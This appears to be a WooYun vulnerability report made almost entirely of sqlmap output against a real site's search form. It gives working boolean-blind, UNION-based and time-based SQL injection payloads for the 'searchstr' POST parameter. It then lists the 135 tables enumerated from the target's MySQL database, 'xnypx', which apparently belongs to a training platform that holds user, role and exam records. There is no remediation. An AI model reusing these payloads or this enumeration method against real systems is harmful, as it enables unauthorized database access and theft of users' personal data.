WooYun.org

Place: POST
Parameter: searchstr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: searchfield=1&searchmethod=1&searchstr=1%' AND 6254=6254 AND '%'='&submit=%B2%E9%D5%D2
Type: UNION query
Title: MySQL UNION query (NULL) - 15 columns
Payload: searchfield=1&searchmethod=1&searchstr=1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a716a71,0x6d4b62654f5143574f62,0x7170767871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&submit=%B2%E9%D5%D2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: searchfield=1&searchmethod=1&searchstr=1%' AND SLEEP(5) AND '%'='&submit=%B2%E9%D5%D2
---
[16:16:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
Database: xnypx
[135 tables]
+-------------------------------------+
| aicccoursestruinfo |
| applyinfo |
| applytrainclassinfo |
| article |
| attachinfo |
| bbs_authority |
| bbs_board |
| bbs_course |
| bbs_department |
| bbs_nopost |
| bbs_user |
| certificateinfo |
| chathack |
| chatonline |
| chatroom |
| chatroomall |
| company |
| content_server |
| examanswer |
| exampage |
| examplan |
| examquestion |
| f_comments |
| f_interactions |
| f_objectives |
| f_path |
| handlelog |
| http_fileupload_log |
| indagateinfo |
| indagateitem |
| ipdistribute |
| ippool |
| issue |
| kjzz_course |
| kjzz_course_file |
| kjzz_course_verify |
| knowledge |
| knowledge_manager |
| lesson_obj_status |
| livecourse |
| log |
| magazine |
| meeting |
| message |
| message_user_group |
| mobile_message_group |
| mobilemessage |
| mobilemessage_stat |
| noteshare |
| offline_certificate_type |
| offline_data_up_opration |
| offline_data_up_plan |
| offline_education_type |
| offline_esp_tip |
| offline_exam_type |
| offline_item |
| offline_item_accident_imagination |
| offline_item_anti_accident_practice |
| offline_item_esp_clerk |
| offline_item_exam |
| offline_item_knowledge_check |
| offline_item_other_train |
| offline_item_post_practice |
| offline_item_record |
| offline_item_self_learn_note |
| offline_item_study_day |
| offline_item_tech_check |
| offline_item_tech_teach |
| offline_item_together_learn |
| offline_item_train_class |
| offline_plan |
| offline_survey |
| offline_train_type |
| organization |
| professiontitle |
| professiontitletype |
| question |
| question_import |
| questionimportlog |
| questionstorage |
| questionstorage_manager |
| rolemodule |
| roleuser |
| scocoursestruinfo |
| scolessonlocation |
| scostulessoninfo |
| slogan |
| stu_lesson_info |
| student_history |
| student_preferences |
| sysinfo |
| totalstatperiod |
| train |
| train_knowledge |
| trainapplyrange |
| trainarchive |
| trainclass |
| trainclass_certificate |
| trainclass_group |
| trainclass_train |
| trainclass_user |
| trainclassoutside |
| trainclasstype |
| trainmethod |
| trainplan |
| trainplanstate |
| trainredeploy |
| trainresource |
| trainstatics |
| traintype |
| user_certificate |
| userdocs_file |
| userdocs_file_readmark |
| userdocs_folder |
| userfunction |
| usergroup |
| userinfo |
| usernote |
| userrole |
| usertrain |
| v_livecourse |
| v_notestuser |
| v_stat_trainclass |
| v_stat_trainvote |
| v_stat_trainvote_items |
| v_stat_usertest_new |
| v_statictrain |
| v_trainclass |
| v_trainclassuser |
| v_trainclassuser_period |
| v_trainclassusertrain |
| v_usertrain |
| validtime_statics |
| vote |
| win_module |
+-------------------------------------+